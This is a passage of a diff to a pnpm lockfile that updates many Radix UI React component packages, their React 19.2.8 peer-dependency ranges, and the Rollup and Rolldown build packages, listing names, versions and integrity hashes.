-    resolution: {integrity: sha512-9hQc4+GNVtJAIEPEqlYqW5RiYdrr8ea5XQ0ZOnD6fgru+83kqT15mq2OCcbe8KnjRZl5vF3ks69AKz3kh1jrhg==}
-    peerDependencies:
-      '@types/react': '*'
-      '@types/react-dom': '*'
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
@@ -3982,47 +4153,34 @@ packages:
     peerDependencies:
       '@types/react': '*'
       '@types/react-dom': '*'
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
       '@types/react-dom':
         optional: true
 
-  '@radix-ui/react-primitive@2.1.7':
-    resolution: {integrity: sha512-bC3NiwsprbxKjuon9l7X6BUTw7FPVzEYaL92MPEY5SCd/9hUTPXVFtVwRix7778wtRsVao+zE062gL79FZleeQ==}
+  '@radix-ui/react-progress@1.1.16':
+    resolution: {integrity: sha512-5XnomAsoZZCY+KNTxbIghpGqPruZvKFNlvcAljVAOdDRDsH4/OZQxhtwo5wdtoDM5R6MhJBb2sPnDuRFep3lzg==}
     peerDependencies:
       '@types/react': '*'
       '@types/react-dom': '*'
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
       '@types/react-dom':
         optional: true
 
-  '@radix-ui/react-progress@1.1.13':
-    resolution: {integrity: sha512-1dUdKDd63Tz9FfbTw20MVr28ohG4v7HOJ1dsavGBBPBS3KGzLOyLKiMJAC1OdgiY18nTSHpD4fULGK5gsLY/ww==}
+  '@radix-ui/react-radio-group@1.4.7':
+    resolution: {integrity: sha512-cgYFEkntCxppHZgtSZ+7vh0wbZQ+IC7PPMw8DSnRG27B6kDd32/Zw0OJt7dGDigCoprMuWHjg2PvUn3PYvPFoQ==}
     peerDependencies:
       '@types/react': '*'
       '@types/react-dom': '*'
-      react: ^19.2.7
-      react-dom: ^19.2.7
-    peerDependenciesMeta:
-      '@types/react':
-        optional: true
-      '@types/react-dom':
-        optional: true
-
-  '@radix-ui/react-radio-group@1.4.4':
-    resolution: {integrity: sha512-OpbUmp/korY+tjEQmHwGyQ+QQ3LBlCPC70z03Q/NSqGaHf2EijuwpjQPnswrH6cZLWyT2J6FmB+kzRoMUtPBig==}
-    peerDependencies:
-      '@types/react': '*'
-      '@types/react-dom': '*'
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
@@ -4034,34 +4192,34 @@ packages:
     peerDependencies:
       '@types/react': '*'
       '@types/react-dom': '*'
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
       '@types/react-dom':
         optional: true
 
-  '@radix-ui/react-roving-focus@1.1.16':
-    resolution: {integrity: sha512-w7lLsTSd3940vFYEshKkHw+NGf7H0QDJPHYsy8NRjDCVbO6ZdKW1X/xoJSYHZtttnrdZiYqbN2O/2uHGB0zasw==}
+  '@radix-ui/react-roving-focus@1.1.19':
+    resolution: {integrity: sha512-V9jI6hDjT7l3jsCQD9bLNvDLM3tH/gdbOTp7Tefp3hbbgCGQoK7tUvrWiRlcoBHIZ809ElXwNQwVo0B98LuTXQ==}
     peerDependencies:
       '@types/react': '*'
       '@types/react-dom': '*'
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
       '@types/react-dom':
         optional: true
 
-  '@radix-ui/react-scroll-area@1.2.15':
-    resolution: {integrity: sha512-JVBHNfTBbGd9hhq/xZZOgmVnBCXhLs8PJJ8vMzgwI0pLZNsKckW9pkoqHyxokUCt1hoxbwDNvF9DItEeZsG68g==}
+  '@radix-ui/react-scroll-area@1.2.18':
+    resolution: {integrity: sha512-Zn5Cd171wxsO3Dfg8HaW6RifTb9CYTKQJHs/G4+LN1GfmJpaQMZQyQxMprVPHpaz7QY4l9BxK2JwQuzHsXC8nA==}
     peerDependencies:
       '@types/react': '*'
       '@types/react-dom': '*'
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
@@ -4073,21 +4231,21 @@ packages:
     peerDependencies:
       '@types/react': '*'
       '@types/react-dom': '*'
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
       '@types/react-dom':
         optional: true
 
-  '@radix-ui/react-select@2.3.4':
-    resolution: {integrity: sha512-E2JxqAvaTUEhWtBptWo02g8FnLYPymv9ahEvW/cZQPPV4ySeyo0M8n3sXccsLUAIfMbexnfXt91qF7UjTbTMMg==}
+  '@radix-ui/react-select@2.3.7':
+    resolution: {integrity: sha512-WFGImkmbzcfxeIwq/+4HvRN0pizBwbwQUED4I13ezQsDdfl38ZntN6TmR8XaSzPBqoCToe8rF75j6NPNDSzhbg==}
     peerDependencies:
       '@types/react': '*'
       '@types/react-dom': '*'
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
@@ -4099,34 +4257,34 @@ packages:
     peerDependencies:
       '@types/react': '*'
       '@types/react-dom': '*'
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
       '@types/react-dom':
         optional: true
 
-  '@radix-ui/react-separator@1.1.12':
-    resolution: {integrity: sha512-2hezgFBBR5jU3S9L9bIZ9Uag6LnvxuFBNsLCfTR8qx+NshuvFmpL4C72+5zMS3Z6UgHNSU1thOw2UaBBPEDpsQ==}
+  '@radix-ui/react-separator@1.1.15':
+    resolution: {integrity: sha512-jOLO4lssEzWpoDu7G+Ze4VjwMRUBt291pnZD0gmalREZipnTX3wadQo7Fy48GCTfe14/YRN6rw/rOJqrE85Wxw==}
     peerDependencies:
       '@types/react': '*'
       '@types/react-dom': '*'
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
       '@types/react-dom':
         optional: true
 
-  '@radix-ui/react-slider@1.4.4':
-    resolution: {integrity: sha512-8dUytW34KoJaB22ctfP7hqUCuyYa8xn2w7H8kCneeOtS5oM7UBivcnZtR8P4kPYMgdoAZlkMhE9/qkYZ5MlRzQ==}
+  '@radix-ui/react-slider@1.4.7':
+    resolution: {integrity: sha512-mTSLf1GC/C0moWjTbvCM6Qn/gBjvlFt1azuWF2v7MN5C3Zq2U2J2lN3ZEYkpujuOU5Ro7A28wkviSxaKnG0BYg==}
     peerDependencies:
       '@types/react': '*'
       '@types/react-dom': '*'
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
@@ -4137,16 +4295,7 @@ packages:
     resolution: {integrity: sha512-aeNmHnBxbi2St0au6VBVC7JXFlhLlOnvIIlePNniyUNAClzmtAUEY8/pBiK3iHjufOlwA+c20/8jngo7xcrg8A==}
     peerDependencies:
       '@types/react': '*'
-      react: ^19.2.7
-    peerDependenciesMeta:
-      '@types/react':
-        optional: true
-
-  '@radix-ui/react-slot@1.2.4':
-    resolution: {integrity: sha512-Jl+bCv8HxKnlTLVrcDE8zTMJ09R9/ukw4qBs/oZClOfoQk/cOTbDn+NceXfV7j09YPVQUryJPHurafcSg6EVKA==}
-    peerDependencies:
-      '@types/react': '*'
-      react: ^19.2.7
+      react: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
@@ -4155,44 +4304,53 @@ packages:
     resolution: {integrity: sha512-MojKku4U/miO8Av4Dkb+ctMAQx7JmY96LmtDQlAarCRtd7rN52QCSzBF+XAvr5S6coSVj9HEPBgHAHKEJVk/WA==}
     peerDependencies:
       '@types/react': '*'
-      react: ^19.2.7
+      react: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
 
-  '@radix-ui/react-switch@1.3.4':
-    resolution: {integrity: sha512-7iGMj1SfZBAc6xRiy0Y3Wr/v52viQeDhOmaM3fNRyNf2nbYooZA3kKoEDGLPtrDv8JitpzcueqdZLusVMojLdQ==}
+  '@radix-ui/react-slot@1.3.3':
+    resolution: {integrity: sha512-qx7oqnYbxnK9kYI9m317qmFmEgo6ywqWvbTogdj7cL9p3/yx4M48p7Rnw5z3H890cL/ow/EeWJsuTykeZVXP5Q==}
+    peerDependencies:
+      '@types/react': '*'
+      react: ^19.2.8
+    peerDependenciesMeta:
+      '@types/react':
+        optional: true
+
+  '@radix-ui/react-switch@1.3.7':
+    resolution: {integrity: sha512-48tB/4dn2UVLBCYhTu9AuR63IHl73l/qLbLgxd86noTUor4/K4LFDAcYjK+isP5313qxaFpjPVogE7+Y0/V3Kw==}
     peerDependencies:
       '@types/react': '*'
       '@types/react-dom': '*'
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
       '@types/react-dom':
         optional: true
 
-  '@radix-ui/react-tabs@1.1.18':
-    resolution: {integrity: sha512-1zq2XkQkK/KfbZn84edytYpOLquhNalra5LXc3NAMKhNRSGtyXqjMv6OyC9jlSuNKpqvQtsb57WKoICNk1v/sQ==}
+  '@radix-ui/react-tabs@1.1.21':
+    resolution: {integrity: sha512-UKxJlZid7FVtsk/WTxj4i4uSEgj2Au+KBbS7SQyTlzMhhn+86Cz3tISZdTa87bfEfcuvZezf2ZsxD4xuEKtkog==}
     peerDependencies:
       '@types/react': '*'
       '@types/react-dom': '*'
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
       '@types/react-dom':
         optional: true
 
-  '@radix-ui/react-toast@1.2.20':
-    resolution: {integrity: sha512-S28OtO1IvYSpWfaUBtiYCTTwRLF8doafj+a+uQw8rc8dLINS52uuG3CIPCeZc3Jfdb/S7o7HhlQxLoXlIYRu6g==}
+  '@radix-ui/react-toast@1.2.23':
+    resolution: {integrity: sha512-ofhyAsYaocRGOs/n0XWdUOSVzEAG6BfrMVM8z0c0kLEWY38w/0WuMFPTJP/HVaZPYkMvHZoKIIhNcjbTCBILPg==}
     peerDependencies:
       '@types/react': '*'
       '@types/react-dom': '*'
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
@@ -4204,21 +4362,21 @@ packages:
     peerDependencies:
       '@types/react': '*'
       '@types/react-dom': '*'
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
       '@types/react-dom':
         optional: true
 
-  '@radix-ui/react-toggle-group@1.1.16':
-    resolution: {integrity: sha512-uil+A0Um3LaZQJkMap4nIg0VgqWc0j3iNU4AXf9a/zHOgPHNYWfVk5WVsG2296Y8HLv1bxiN7uQJblHc1+00tw==}
+  '@radix-ui/react-toggle-group@1.1.19':
+    resolution: {integrity: sha512-OtnwuSVjd1Ofi+AdnvhsjQdyuhCDwYs1w9RyB5BN/OavXOVQo42SYqQjwUnbPnaiPFBpQ9aX70dWeee+v2oBLA==}
     peerDependencies:
       '@types/react': '*'
       '@types/react-dom': '*'
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
@@ -4230,21 +4388,21 @@ packages:
     peerDependencies:
       '@types/react': '*'
       '@types/react-dom': '*'
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
       '@types/react-dom':
         optional: true
 
-  '@radix-ui/react-toggle@1.1.15':
-    resolution: {integrity: sha512-tyCejFjhJ51UKFVIG8jh9nTdRIsFPxrgrI4IdlxuJeP+AKTfTko+0gBueyBFLHqsyE71Aj9PKHjMnG+YRPyKhA==}
+  '@radix-ui/react-toggle@1.1.18':
+    resolution: {integrity: sha512-7lonPlKfSacd20GlOBx2ltuVKz9oqWYZz+oMQyOltw6t1y2nyftj2ZmwwUHYn49kqfDWcp8dNZm5NgV+5Z+mug==}
     peerDependencies:
       '@types/react': '*'
       '@types/react-dom': '*'
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
@@ -4256,21 +4414,21 @@ packages:
     peerDependencies:
       '@types/react': '*'
       '@types/react-dom': '*'
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
       '@types/react-dom':
         optional: true
 
-  '@radix-ui/react-toolbar@1.1.16':
-    resolution: {integrity: sha512-ZnvUAH+ftoRYzUzFQ8gqKnQ1lUFYb3amguGu+BXpfjvLIkjmXCcHCJlQeBLBlJCOtGNVtP+wHrZaUCC/zYKQMg==}
+  '@radix-ui/react-toolbar@1.1.19':
+    resolution: {integrity: sha512-Ph0IvtYw4VB12ZnZg+YtrGs8yJQsnizwo/zu0R4Y/nWugtJzA7Pg1eWeuDR9+LSqn+xjamss+UOSOJJJ4gx8jw==}
     peerDependencies:
       '@types/react': '*'
       '@types/react-dom': '*'
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
@@ -4282,21 +4440,21 @@ packages:
     peerDependencies:
       '@types/react': '*'
       '@types/react-dom': '*'
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
       '@types/react-dom':
         optional: true
 
-  '@radix-ui/react-tooltip@1.2.13':
-    resolution: {integrity: sha512-56XPNYGMnGBcPyiBTaEXB7IGPybbsdNkFgSv90SCrHkXnu2Av1HhsyZMegzXlTu/QHA3V6/l22GZCv9iEoiqmQ==}
+  '@radix-ui/react-tooltip@1.2.16':
+    resolution: {integrity: sha512-6EamKFRRnlpdadndbZ6LMwycfwkwPte1B42hs6QA0gYhjaOKqW4PZ4pjaW9UrlDX5eVt/OjncE7BFTPL5nmZhg==}
     peerDependencies:
       '@types/react': '*'
       '@types/react-dom': '*'
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
@@ -4307,7 +4465,7 @@ packages:
     resolution: {integrity: sha512-FkBMwD+qbGQeMu1cOHnuGB6x4yzPjho8ap5WtbEJ26umhgqVXbhekKUQO+hZEL1vU92a3wHwdp0HAcqAUF5iDg==}
     peerDependencies:
       '@types/react': '*'
-      react: ^19.2.7
+      react: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
@@ -4316,7 +4474,16 @@ packages:
     resolution: {integrity: sha512-xCso9j1/u8sEgP1RNHjFrXJLApL8LiqOkI1R4ywuN00rxWdYg4oQXuwKLS3i0j5NWLromUD27/4nlxj2UFVvIw==}
     peerDependencies:
       '@types/react': '*'
-      react: ^19.2.7
+      react: ^19.2.8
+    peerDependenciesMeta:
+      '@types/react':
+        optional: true
+
+  '@radix-ui/react-use-callback-ref@1.1.4':
+    resolution: {integrity: sha512-R6OUY2e2fA6Yn6s+VSx5KBV6Nx8LQEhu+cz7LCej18rQ1HLyg9PSC9jP/ZNx0o6FAIK9c0F1kHylzSxKsdlkrQ==}
+    peerDependencies:
+      '@types/react': '*'
+      react: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
@@ -4325,7 +4492,7 @@ packages:
     resolution: {integrity: sha512-BjasUjixPFdS+NKkypcyyN5Pmg83Olst0+c6vGov0diwTEo6mgdqVR6hxcEgFuh4QrAs7Rc+9KuGJ9TVCj0Zzg==}
     peerDependencies:
       '@types/react': '*'
-      react: ^19.2.7
+      react: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
@@ -4334,16 +4501,16 @@ packages:
     resolution: {integrity: sha512-PLzC90MS+ReootmjC597dvopoelpZ8Q61HJkDXZSExitIq7PL55vHNnesAHwguHK0aPfBnpdNzQtv1uliaqQrA==}
     peerDependencies:
       '@types/react': '*'
-      react: ^19.2.7
+      react: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
 
-  '@radix-ui/react-use-controllable-state@1.2.4':
-    resolution: {integrity: sha512-cx2DixxmSfjCcEoRvDvy1NLd6SWK94XFcEEOZUcharUlXbmahFQGKCfwdKZL2ub34iIwOPOEFVF80xb+yfLYiA==}
+  '@radix-ui/react-use-controllable-state@1.2.6':
+    resolution: {integrity: sha512-uEQJGT97ZA/TgP/Hydw47lHu+/vQj6z/0jA+WeTbK1o9Rx45GImjpD0tc3W5ad3D6XTSR6e1yEO0FvGq6WQfVQ==}
     peerDependencies:
       '@types/react': '*'
-      react: ^19.2.7
+      react: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
@@ -4352,7 +4519,7 @@ packages:
     resolution: {integrity: sha512-Qp8WbZOBe+blgpuUT+lw2xheLP8q0oatc9UpmiemEICxGvFLYmHm9QowVZGHtJlGbS6A6yJ3iViad/2cVjnOiA==}
     peerDependencies:
       '@types/react': '*'
-      react: ^19.2.7
+      react: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
@@ -4361,7 +4528,16 @@ packages:
     resolution: {integrity: sha512-6c8ZqvPTWILEKnyVkP53EGRCcpnJiKTC21sS/6R1GF5xKyHJJWQEPfkqlcgUkdRQivd6tb23abUwe4ngWmY0JA==}
     peerDependencies:
       '@types/react': '*'
-      react: ^19.2.7
+      react: ^19.2.8
+    peerDependenciesMeta:
+      '@types/react':
+        optional: true
+
+  '@radix-ui/react-use-effect-event@0.0.5':
+    resolution: {integrity: sha512-7cshFL8HGS/7HEiHH+9kL9HBwp2sa9yX18Knwek6KYWmXwM7pegMgta2AXMQKI+rq3JnfSj9x8wYqFMTdG1Jgg==}
+    peerDependencies:
+      '@types/react': '*'
+      react: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
@@ -4370,7 +4546,7 @@ packages:
     resolution: {integrity: sha512-Il0+boE7w/XebUHyBjroE+DbByORGR9KKmITzbR7MyQ4akpORYP/ZmbhAr0DG7RmmBqoOnZdy2QlvajJ2QA59g==}
     peerDependencies:
       '@types/react': '*'
-      react: ^19.2.7
+      react: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
@@ -4379,25 +4555,25 @@ packages:
     resolution: {integrity: sha512-2uVLvLjgO7NZCWw01/FdqRwmA42J0BcjPMUCA+koFEOAb+zjqIP7SiFz/7zWPrKnVmSqr76Omq2ALyCuX4dhLw==}
     peerDependencies:
       '@types/react': '*'
-      react: ^19.2.7
+      react: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
 
-  '@radix-ui/react-use-escape-keydown@1.1.3':
-    resolution: {integrity: sha512-3wEkMiPHXha/2VadZ68rYBcmYnPINVGl4Y3gtcM7fKRjANk0OscK+cdqBgUWdozb7YJxsh0vefM7vgAMHXOjqg==}
+  '@radix-ui/react-use-escape-keydown@1.1.5':
+    resolution: {integrity: sha512-ge3ipobwSXTj4JyVtswQ7qZj0ZHdtbGuOno/LrgAAeSxtsJ6Vs4Gz5IkPH2bmqpjcLUFoqGhA/mueuIf63UXlA==}
     peerDependencies:
       '@types/react': '*'
-      react: ^19.2.7
+      react: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
 
-  '@radix-ui/react-use-is-hydrated@0.1.1':
-    resolution: {integrity: sha512-qwOiz4Tjo8CNnrOLAYUMXeZwDzXgXpvK4TKQPmWLECM9XoWvA6+0Z2/7Ag3A4ivjS4ovbLJPbskkxioFyBhr8A==}
+  '@radix-ui/react-use-is-hydrated@0.1.3':
+    resolution: {integrity: sha512-umO/aJ+82CpOnhDZUTbILCQf7kU/g0iv+oGs/Q8jw7IkhWBzaEP4sA268PhFAJTFetbwp3ICc6ktpI4TqtxcIw==}
     peerDependencies:
       '@types/react': '*'
-      react: ^19.2.7
+      react: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
@@ -4406,7 +4582,7 @@ packages:
     resolution: {integrity: sha512-RbJRS4UWQFkzHTTwVymMTUv8EqYhOp8dOOviLj2ugtTiXRaRQS7GLGxZTLL1jWhMeoSCf5zmcZkqTl9IiYfXcQ==}
     peerDependencies:
       '@types/react': '*'
-      react: ^19.2.7
+      react: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
@@ -4415,7 +4591,16 @@ packages:
     resolution: {integrity: sha512-jrBWOxZITuGcnjRCM2t2U5ZPkCLxD+Ym6DjfssS5haTj2iiak/DOb64JeN6OdLfLgptb6/e2kKR+ZuTrGoZTPA==}
     peerDependencies:
       '@types/react': '*'
-      react: ^19.2.7
+      react: ^19.2.8
+    peerDependenciesMeta:
+      '@types/react':
+        optional: true
+
+  '@radix-ui/react-use-layout-effect@1.1.4':
+    resolution: {integrity: sha512-K20DkRkUwDnxEYMBPcg3Y6voLkEy5p5QQmszZgLngKKiC7dzBR/aEuK3w1qlx2JWDUNH6FluahYdgR3BP+QbYw==}
+    peerDependencies:
+      '@types/react': '*'
+      react: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
@@ -4424,7 +4609,16 @@ packages:
     resolution: {integrity: sha512-IGBQPtRFdhN6MQ8dbegVmBq1LVZluya3F1jWY+puIcQC3MHctRwTDSBWCkL/3ZcnMJLTMJ++Z+ktmvg0F89iCw==}
     peerDependencies:
       '@types/react': '*'
-      react: ^19.2.7
+      react: ^19.2.8
+    peerDependenciesMeta:
+      '@types/react':
+        optional: true
+
+  '@radix-ui/react-use-previous@1.1.4':
+    resolution: {integrity: sha512-XoSLhbRbqxFtgJoi2fNHA3C6pDlY34x508vUpUGoFZfvePfHXHbE1lC4FYFMnJWgiCRroSTw6fOsXQoVS9RwZg==}
+    peerDependencies:
+      '@types/react': '*'
+      react: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
@@ -4433,7 +4627,16 @@ packages:
     resolution: {integrity: sha512-d8a+bBY/FxikNPlgJJoaBHZX+zKVbWHYJGTLnLvveQgFSTntkGdEKv3JDtHrMS0DNYpllz2nRsTLGLKYttbpmw==}
     peerDependencies:
       '@types/react': '*'
-      react: ^19.2.7
+      react: ^19.2.8
+    peerDependenciesMeta:
+      '@types/react':
+        optional: true
+
+  '@radix-ui/react-use-rect@1.1.4':
+    resolution: {integrity: sha512-cSOCh6JlkmfjLyNcLiu2nB4v+nm+dkZ+Q5KHWk/soo4U7ZLiEQFKHK9/YmtBHjfCEaU43IBKQOc4/uJmCaiCTQ==}
+    peerDependencies:
+      '@types/react': '*'
+      react: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
@@ -4442,31 +4645,40 @@ packages:
     resolution: {integrity: sha512-giWQp+4mxjBPt4KZ0MmyuykFNWfbDxKt4x+fPkRYmgRFJSbCZFzUglvMb/Kjn38tm10YP4ufiQZDx3zna4LU6w==}
     peerDependencies:
       '@types/react': '*'
-      react: ^19.2.7
+      react: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
 
+  '@radix-ui/react-use-size@1.1.4':
+    resolution: {integrity: sha512-D3anSY15EJoxrihpsXI6SMrmmonnQtR2ni7arO+Lfdg3O95b9hNXxONk8jA5C8ANdF/h5HMAxejgs8PWJ6rlhw==}
+    peerDependencies:
+      '@types/react': '*'
+      react: ^19.2.8
+    peerDependenciesMeta:
+      '@types/react':
+        optional: true
+
+  '@radix-ui/react-visually-hidden@1.2.11':
+    resolution: {integrity: sha512-NFS86RYYZb4/exihaESBGOpMJFz8MGLAfu3mOBSGByVnVPC9JPASfYubxd/8KbkQK0sYAv8lVQDEQukDX/qXvQ==}
+    peerDependencies:
+      '@types/react': '*'
+      '@types/react-dom': '*'
+      react: ^19.2.8
+      react-dom: ^19.2.8
+    peerDependenciesMeta:
+      '@types/react':
+        optional: true
+      '@types/react-dom':
+        optional: true
+
   '@radix-ui/react-visually-hidden@1.2.6':
     resolution: {integrity: sha512-jCE0WljWifTI4niIMCll06kGpsJTAPiZVU9H4WR1N6qW7At9ystHbN7dDB+we2xH535roFHj7qKS+RGj0FMDWQ==}
     peerDependencies:
       '@types/react': '*'
       '@types/react-dom': '*'
-      react: ^19.2.7
-      react-dom: ^19.2.7
-    peerDependenciesMeta:
-      '@types/react':
-        optional: true
-      '@types/react-dom':
-        optional: true
-
-  '@radix-ui/react-visually-hidden@1.2.8':
-    resolution: {integrity: sha512-FjsQEpkNBJJYiPSat6jh2LGKLPX2jAoDVS3AZSBNX3cOUoEGhw/f+z2FCY8Cf1NkoYIbytJ1f4mlWPQpR+MjVg==}
-    peerDependencies:
-      '@types/react': '*'
-      '@types/react-dom': '*'
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
@@ -4476,18 +4688,21 @@ packages:
   '@radix-ui/rect@1.1.2':
     resolution: {integrity: sha512-xnXE7wG13PI+cxieVssYXlQJuYVRhH9NBoxt3KNwzghDIA69GMm7d4wXRouHIYjE+KvS6U/MsMO73NdS2MH9ZA==}
 
+  '@radix-ui/rect@1.1.3':
+    resolution: {integrity: sha512-JtyZR+mqgBibTo8xea3B6ZRmzZiM/YeVBtUkas6zMuXjAlfIFIW2FgqeM9eLyvEaYX66vr6DJMK+4U6LV0KhNw==}
+
   '@react-hook/intersection-observer@3.1.2':
     resolution: {integrity: sha512-mWU3BMkmmzyYMSuhO9wu3eJVP21N8TcgYm9bZnTrMwuM818bEk+0NRM3hP+c/TqA9Ln5C7qE53p1H0QMtzYdvQ==}
     peerDependencies:
-      react: ^19.2.7
+      react: ^19.2.8
 
   '@react-hook/passive-layout-effect@1.2.1':
     resolution: {integrity: sha512-IwEphTD75liO8g+6taS+4oqz+nnroocNfWVHWz7j+N+ZO2vYrc6PV1q7GQhuahL0IOR7JccFTsFKQ/mb6iZWAg==}
     peerDependencies:
-      react: ^19.2.7
+      react: ^19.2.8
 
-  '@rolldown/pluginutils@1.0.0-beta.27':
-    resolution: {integrity: sha512-+d0F4MKMCbeVUJwG96uQ4SgAznZNSq93I3V+9NHA4OpvqG8mRCpGdKmK8l/dl02h2CCDHwW2FqilnTyDcAnqjA==}
+  '@rolldown/pluginutils@1.0.0-rc.3':
+    resolution: {integrity: sha512-eybk3TjzzzV97Dlj5c+XrBFW57eTNhzod66y9HrBlzJ6NsCrWCp/2kaPS3K9wJmurBC0Tdw4yPjXKZqlznim3Q==}
 
   '@rollup/plugin-node-resolve@16.0.3':
     resolution: {integrity: sha512-lUYM3UBGuM93CnMPG1YocWu7X802BrNF3jW2zny5gQyLQgRFJhV1Sq0Zi74+dh/6NBx1DxFC4b4GXg9wUCG5Qg==}
@@ -4534,126 +4749,251 @@ packages:
     cpu: [arm]
     os: [android]
 
+  '@rollup/rollup-android-arm-eabi@4.62.5':
+    resolution: {integrity: sha512-jfkGfTwhQpsiSckPF8r9bU3pn3vyd72NlWaO+TgEO6WPSDnUhXzrNYCHBMOYj0ACaUgjm6eERLF+XV9a6RstoA==}
+    cpu: [arm]
+    os: [android]
+
   '@rollup/rollup-android-arm64@4.62.4':
     resolution: {integrity: sha512-JKuJc+pnpks2pjy7L/N3v/cAkZxYlnmuZoD840ldbMI5KDbC4iO9NKwPKYdjYFCMAIIlBzYSFHxIJVYzRo2/8A==}
     cpu: [arm64]
     os: [android]
 
+  '@rollup/rollup-android-arm64@4.62.5':
+    resolution: {integrity: sha512-oGVqyQlxnrz9/ty89oHpU857VUHEl5/Xu4R2lS+aivCTrNnSsbiENzTnNaBsjxH0CNWGPhzHArOLFwo+oKXveA==}
+    cpu: [arm64]
+    os: [android]
+
   '@rollup/rollup-darwin-arm64@4.62.4':
     resolution: {integrity: sha512-krw5uS2STmvJ02x0uTXHbqQNuz+9eZ1iw+qXk9dmW2gvV4jV7O2hEoOnuhFrpOPiel1mBFtqbxYZZtC46hXLOw==}
     cpu: [arm64]
     os: [darwin]
 
+  '@rollup/rollup-darwin-arm64@4.62.5':
+    resolution: {integrity: sha512-bW7B8xMEq8n99Q3ieEcPRGuphurdZAaFzQc9Efyyw3FL6DZO6pMy9xhdN+kBoD7Sy05xNXSr4OyPPnpkYriS/A==}
+    cpu: [arm64]
+    os: [darwin]
+
   '@rollup/rollup-darwin-x64@4.62.4':
     resolution: {integrity: sha512-wsTxtgApb4PrOsNJIm0FZ1h3WvCC+k9uxLJ4ad75hgoS4NiRes2SoJFlDAyMwiUY8IssDqGcHbXuN0sx1tfF1A==}
     cpu: [x64]
     os: [darwin]
 
+  '@rollup/rollup-darwin-x64@4.62.5':
+    resolution: {integrity: sha512-YSwBS86QeHOGlrxJ1PSOIZSkzRL/JmKeunhc+lV6M1a6En8QuVCD/T/qIA0J4Gd2Y86RIOBYrLcOUtqGh9+/1w==}
+    cpu: [x64]
+    os: [darwin]
